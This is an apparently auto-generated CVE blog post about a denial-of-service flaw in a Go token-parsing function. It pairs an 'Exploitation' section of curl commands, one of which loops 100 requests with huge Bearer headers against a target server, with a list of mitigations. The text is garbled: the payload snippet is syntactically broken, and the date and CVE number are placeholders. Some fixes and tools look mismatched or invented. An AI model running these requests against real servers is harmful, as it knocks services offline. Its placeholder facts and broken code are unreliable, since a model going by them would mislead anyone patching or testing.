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How the Mentioned CVE Works:
The vulnerability resides in the `parse.ParseUnverified` function in Go (Golang), which processes untrusted data from the `Authorization` header. The function uses `strings.Split` to split the input on period (.) characters. When an attacker sends a malicious request with a `Bearer` token followed by a large number of periods, the function allocates memory proportional to the input size (O(n)). This results in excessive memory consumption, leading to a Denial of Service (DoS) condition. The weakness is categorized under CWE-405: Asymmetric Resource Consumption (Amplification), where a small malicious input causes disproportionate resource usage.
DailyCVE Form:
Platform: Go (Golang)
Version: Pre-patch versions
Vulnerability: DoS via memory exhaustion
Severity: Critical
Date: YYYY-MM-DD
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -H "Authorization: Bearer $(python3 -c 'print("." 1000000)')" http://target.com
This sends a request with a `Bearer` token containing 1 million periods, triggering excessive memory allocation.
2. Observe Memory Usage:
Use tools like `top` or `htop` to monitor memory consumption on the target server.
top -o %MEM
3. Repeat Requests:
Send multiple malicious requests to amplify the impact.
for i in {1..100}; do curl -H "Authorization: Bearer $(python3 -c 'print('.' 1000000)')" http://target.com; done
Protection:
1. Input Validation:
Validate the length of the `Authorization` header before processing.
if len(authHeader) > MAX_ALLOWED_LENGTH {
return errors.New("header too long")
}
2. Patch Application:
Update to the latest patched version of the Go library.
go get -u golang.org/x/mod
3. Rate Limiting:
Implement rate limiting to restrict the number of requests per client.
rateLimiter := rate.NewLimiter(rate.Every(time.Minute), 100)
4. Memory Monitoring:
Use monitoring tools to detect abnormal memory usage.
prometheus --config.file=mem_monitor.yml
5. Code Fix:
Replace `strings.Split` with a safer alternative that limits splits.
func safeSplit(input string) []string {
return strings.SplitN(input, ".", MAX_SPLITS)
}
6. Deploy WAF:
Use a Web Application Firewall (WAF) to filter malicious requests.
waf-cli --rule="block auth_header_length > 10000"
7. Testing:
Test the fix with fuzz testing tools.
go-fuzz -bin=./target -workdir=./fuzz
By following these steps, you can exploit and protect against CVE-2023-XXXX effectively.
References:
Reported By: https://github.com/advisories/GHSA-mh63-6h87-95cp
Extra Source Hub:
Undercode
